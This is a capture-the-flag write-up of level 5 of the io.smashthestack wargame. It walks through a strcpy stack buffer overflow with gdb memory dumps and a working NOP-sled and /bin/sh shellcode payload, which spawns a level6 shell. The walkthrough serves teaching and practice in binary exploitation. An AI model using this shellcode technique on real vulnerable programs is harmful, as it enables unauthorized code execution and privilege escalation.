Level 5, IO STS

By now you should be somewhat familiar with the workings of io.smashthestack.org. We’ll just take a look at the essentials from now on.

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {

  char buf[128];

  if(argc < 2) return 1;

  strcpy(buf, argv[1]);

  printf("%s\n", buf);

  return 0;
}

A quick outline of the program. It creates a variable buf[128]. Checks the argument count is at least 2. strcpy the 2nd argument into the buffer. Prints the contents of the buffer and exits.

It looks like it’s a buffer overflow challenge. Let’s get started. First, we have to find the memory location of the return address that we are overwriting.

level5@io:/levels$ gdb -q level05
Reading symbols from /levels/level05...done.
(gdb) disas main
Dump of assembler code for function main:
   0x080483b4 <+0>:   push   %ebp
   0x080483b5 <+1>:   mov    %esp,%ebp
   0x080483b7 <+3>:   sub    $0xa8,%esp
   0x080483bd <+9>:   and    $0xfffffff0,%esp
   0x080483c0 <+12>:  mov    $0x0,%eax
   0x080483c5 <+17>:  sub    %eax,%esp
   0x080483c7 <+19>:  cmpl   $0x1,0x8(%ebp)
   0x080483cb <+23>:  jg     0x80483d9 <main+37>
   0x080483cd <+25>:  movl   $0x1,-0x8c(%ebp)
   0x080483d7 <+35>:  jmp    0x8048413 <main+95>
   0x080483d9 <+37>:  mov    0xc(%ebp),%eax
   0x080483dc <+40>:  add    $0x4,%eax
   0x080483df <+43>:  mov    (%eax),%eax
   0x080483e1 <+45>:  mov    %eax,0x4(%esp)
   0x080483e5 <+49>:  lea    -0x88(%ebp),%eax
   0x080483eb <+55>:  mov    %eax,(%esp)
   0x080483ee <+58>:  call   0x80482d4 <strcpy@plt>
   0x080483f3 <+63>:  lea    -0x88(%ebp),%eax
   0x080483f9 <+69>:  mov    %eax,0x4(%esp)
   0x080483fd <+73>:  movl   $0x8048524,(%esp)
   0x08048404 <+80>:  call   0x80482b4 <printf@plt>
   0x08048409 <+85>:  movl   $0x0,-0x8c(%ebp)
   0x08048413 <+95>:  mov    -0x8c(%ebp),%eax
   0x08048419 <+101>: leave  
   0x0804841a <+102>: ret
End of assembler dump.
(gdb) b *0x080483f3
Breakpoint 1 at 0x80483f3
(gdb) r $(ruby -e 'puts "A"*100')
Starting program: /levels/level05 $(ruby -e 'puts "A"*100')

Breakpoint 1, 0x080483f3 in main ()
(gdb) x/64wx $esp
0xbffffbd0: 0xbffffbf0  0xbffffe36  0xb7ffeff4  0xbffffcd0
0xbffffbe0: 0xb7fffac0  0xbffffca4  0xb7feb662  0xbffffc94
0xbffffbf0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc00: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc10: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc20: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc30: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc40: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc50: 0x41414141  0xb7fd1f00  0xbffffc78  0x08048489
0xbffffc60: 0xb7eb7505  0xb7ff0590  0x00000000  0xb7fd1ff4
0xbffffc70: 0x08048470  0x00000000  0xbffffcf8  0xb7e9ee16
0xbffffc80: 0x00000002  0xbffffd24  0xbffffd30  0xb7fe19d0
0xbffffc90: 0xb7ff6821  0x0177ff8e  0xb7ffeff4  0x0804820b
0xbffffca0: 0x00000001  0xbffffce0  0xb7fefc16  0xb7fffac0
0xbffffcb0: 0xb7fe1cc0  0xb7fd1ff4  0x00000000  0x00000000
0xbffffcc0: 0xbffffcf8  0x841c88d6  0xa83e3ec6  0x00000000
(gdb) next
Single stepping until exit from function main,
which has no line number information.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0xb7e9ee16 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
(gdb) r $(ruby -e 'puts "A"*140 + "B"*4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level05 $(ruby -e 'puts "A"*140 + "B"*4')

Breakpoint 1, 0x080483f3 in main ()
(gdb) x/64wx $esp
0xbffffba0: 0xbffffbc0  0xbffffe0a  0xb7ffeff4  0xbffffca0
0xbffffbb0: 0xb7fffac0  0xbffffc74  0xb7feb662  0xbffffc64
0xbffffbc0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffbd0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffbe0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffbf0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc00: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc10: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc20: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc30: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffc40: 0x41414141  0x41414141  0x41414141  0x42424242
0xbffffc50: 0x00000000  0xbffffcf4  0xbffffd00  0xb7fe19d0
0xbffffc60: 0xb7ff6821  0x0177ff8e  0xb7ffeff4  0x0804820b
0xbffffc70: 0x00000001  0xbffffcb0  0xb7fefc16  0xb7fffac0
0xbffffc80: 0xb7fe1cc0  0xb7fd1ff4  0x00000000  0x00000000
0xbffffc90: 0xbffffcc8  0x2a79b3d6  0x065aa5c6  0x00000000
(gdb) next
Single stepping until exit from function main,
which has no line number information.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
0x42424242 in ?? ()
(gdb) info reg
eax            0x0        0
ecx            0xbffffb88 -1073742968
edx            0xb7fd3340 -1208143040
ebx            0xb7fd1ff4 -1208147980
esp            0xbffffc50 0xbffffc50
ebp            0x41414141 0x41414141
esi            0x0        0
edi            0x0        0
eip            0x42424242 0x42424242
eflags         0x292      [ AF SF IF ]
cs             0x23       35
ss             0x2b       43
ds             0x2b       43
es             0x2b       43
fs             0x0        0
gs             0x63       99

After a bit of investigation, we managed to overwrite the eip with our crafted argument. With this knowledge, we know we have about 140 bytes worth of space to fit our shellcode.

If you are not sure what is happening, please read this obligatory article on stack smashing.

The shellcode that we are using is

\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh

Let’s craft our argument with this shellcode and a NOP sled. As this shell code is 38 bytes long, we have space for a 102 byte NOP sled. Here’s what it will look like.

$(ruby -e 'puts "\x90"*102 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh" + "BBBB"')

Let’s make sure this works.

(gdb) r $(ruby -e 'puts "\x90"*102 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh" + "BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level05 $(ruby -e 'puts "\x90"*102 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh" + "BBBB"')

Breakpoint 1, 0x080483f3 in main ()
(gdb) x/64wx $esp
0xbffffba0: 0xbffffbc0  0xbffffe0a  0xb7ffeff4  0xbffffca0
0xbffffbb0: 0xb7fffac0  0xbffffc74  0xb7feb662  0xbffffc64
0xbffffbc0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffbd0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffbe0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffbf0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffc00: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffc10: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffc20: 0x90909090  0x18eb9090  0x0876895e  0x4688c031
0xbffffc30: 0x0c468907  0x4e8df389  0x0c568d08  0x80cd0bb0
0xbffffc40: 0xffffe3e8  0x69622fff  0x68732f6e  0x42424242
0xbffffc50: 0x00000000  0xbffffcf4  0xbffffd00  0xb7fe19d0
0xbffffc60: 0xb7ff6821  0x0177ff8e  0xb7ffeff4  0x0804820b
0xbffffc70: 0x00000001  0xbffffcb0  0xb7fefc16  0xb7fffac0
0xbffffc80: 0xb7fe1cc0  0xb7fd1ff4  0x00000000  0x00000000
0xbffffc90: 0xbffffcc8  0x9d7c716c  0xb15f677c  0x00000000
(gdb) next
Single stepping until exit from function main,
which has no line number information.
ë^1ÀFF
      óV
        °
         ̀èãÿÿÿ/bin/shBBBB
0x42424242 in ?? ()
(gdb) info reg
eax            0x0        0
ecx            0xbffffb88 -1073742968
edx            0xb7fd3340 -1208143040
ebx            0xb7fd1ff4 -1208147980
esp            0xbffffc50 0xbffffc50
ebp            0x68732f6e 0x68732f6e
esi            0x0        0
edi            0x0        0
eip            0x42424242 0x42424242
eflags         0x292      [ AF SF IF ]
cs             0x23       35
ss             0x2b       43
ds             0x2b       43
es             0x2b       43
fs             0x0        0
gs             0x63       99
(gdb)

Alright it works, all we have to do is to overwite the last 4 bytes to the location of any of the NOPs. As we can see above, we can choose any address between 0xbffffbc0 to 0xbffffc10. Let’s choose 0xbffffbf8. After converting it to little endian, we have \xf8\xfb\xff\xbf. This is how our exploit looks like after replacing our 4 B characters with the address.

$(ruby -e 'puts "\x90"*102+"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"+"\xf8\xfb\xff\xbf"')

Let’s try it out.

(gdb) r $(ruby -e 'puts "\x90"*102+"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"+"\xf8\xfb\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level05 $(ruby -e 'puts "\x90"*102+"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"+"\xf8\xfb\xff\xbf"')

Breakpoint 1, 0x080483f3 in main ()
(gdb) x/64wx $esp
0xbffffba0: 0xbffffbc0  0xbffffe0a  0xb7ffeff4  0xbffffca0
0xbffffbb0: 0xb7fffac0  0xbffffc74  0xb7feb662  0xbffffc64
0xbffffbc0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffbd0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffbe0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffbf0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffc00: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffc10: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffc20: 0x90909090  0x18eb9090  0x0876895e  0x4688c031
0xbffffc30: 0x0c468907  0x4e8df389  0x0c568d08  0x80cd0bb0
0xbffffc40: 0xffffe3e8  0x69622fff  0x68732f6e  0xbffffbf8
0xbffffc50: 0x00000000  0xbffffcf4  0xbffffd00  0xb7fe19d0
0xbffffc60: 0xb7ff6821  0x0177ff8e  0xb7ffeff4  0x0804820b
0xbffffc70: 0x00000001  0xbffffcb0  0xb7fefc16  0xb7fffac0
0xbffffc80: 0xb7fe1cc0  0xb7fd1ff4  0x00000000  0x00000000
0xbffffc90: 0xbffffcc8  0xe25fc283  0xce7cd493  0x00000000
(gdb) next
Single stepping until exit from function main,
which has no line number information.
ë^1ÀFF
      óV
        °
         ̀èãÿÿÿ/bin/shøûÿ¿
Cannot access memory at address 0x68732f72
(gdb) info reg
eax            0x0        0
ecx            0xbffffb88 -1073742968
edx            0xb7fd3340 -1208143040
ebx            0xb7fd1ff4 -1208147980
esp            0xbffffc50 0xbffffc50
ebp            0x68732f6e 0x68732f6e
esi            0x0        0
edi            0x0        0
eip            0xbffffbf8 0xbffffbf8
eflags         0x292      [ AF SF IF ]
cs             0x23       35
ss             0x2b       43
ds             0x2b       43
es             0x2b       43
fs             0x0        0
gs             0x63       99
(gdb)

We successfully overwriten eip with our address. But somehow it did not successfully jump to that location within gdb. I’m not sure about the intricacies of gdb and why the exploit did not work. But when we try it out of gdb

level5@io:/levels$ ./level05 $(ruby -e 'puts "\x90"*102+"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"+"\xf8\xfb\xff\xbf"')
ë^1ÀFF
      óV
        °
         ̀èãÿÿÿ/bin/shøûÿ¿
sh-4.2$ whoami
level6
sh-4.2$

Success! Unlike level 3, this is a true buffer overflow. We inserted arbitary code into the buffer and executed it.

PS: Would anyone be able to explain why it did not work in gdb?

Stanley Tan
@stnly